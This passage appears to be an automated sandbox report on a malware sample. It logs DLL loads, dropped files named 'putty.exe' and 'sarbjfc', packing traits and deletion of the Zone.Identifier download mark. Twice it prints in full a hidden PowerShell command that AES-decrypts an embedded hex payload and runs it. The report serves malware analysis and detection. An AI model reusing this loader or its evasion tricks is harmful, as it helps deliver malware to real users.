Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sarbjfc	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\sarbjfc	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\sarbjfc	Section loaded: msvcr100.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\putty.exe	Unpacked PE file: 5.2.putty.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\sarbjfc	Unpacked PE file: 16.2.sarbjfc.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("Z:\syscalls\859.js.csv");ITextStream.WriteLine(" entry:9113 f:eval a0:%22function%20rZNXxq(ibycEi)%7Bvar%20oRfIk%3D%20%22%22%3Bfor%20(var%20LaozjU%20%3D%200%3BLaozjU%20%3C%20ibycEi.length%3B%20LaozjU%2B%2B)%7Bvar%20XibJZ%20%3D%20String.fromCharCode(ibycEi%5BLaozjU%5D%20-%2");IWshShell3.Run("powershell.exe -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -sp", "0", "true")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00401068 push ebp; iretd	5_2_0040106E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004010B4 push ss; ret	5_2_004010B5
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_0040D099 push ecx; ret	5_2_0040D0AC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00483001 push es; iretd	5_2_00483002
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004828C1 push ebp; iretd	5_2_004828C7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00484883 push ebx; ret	5_2_00484889
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_0048290D push ss; ret	5_2_0048290E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00489323 push esi; retf	5_2_00489324
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_00486D99 push ds; ret	5_2_00486DAC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004F111B push ss; ret	5_2_004F111C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004F10CF push ebp; iretd	5_2_004F10D5
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 5_2_004F18DC push es; iretd	5_2_004F18DD
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00401068 push ebp; iretd	16_2_0040106E
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_004010B4 push ss; ret	16_2_004010B5
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_0040D099 push ecx; ret	16_2_0040D0AC
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00553001 push es; iretd	16_2_00553002
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_005528C1 push ebp; iretd	16_2_005528C7
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00554883 push ebx; ret	16_2_00554889
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_0055290D push ss; ret	16_2_0055290E
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00559323 push esi; retf	16_2_00559324
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_00556D99 push ds; ret	16_2_00556DAC
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_005D111B push ss; ret	16_2_005D111C
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_005D18DC push es; iretd	16_2_005D18DD
Source: C:\Users\user\AppData\Roaming\sarbjfc	Code function: 16_2_005D10CF push ebp; iretd	16_2_005D10D5

Source: putty.exe.2.dr	Static PE information: section name: .text entropy: 7.689851588772987
Source: sarbjfc.14.dr	Static PE information: section name: .text entropy: 7.689851588772987

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\putty.exe			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\sarbjfc			Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\sarbjfc

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\sarbjfc:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
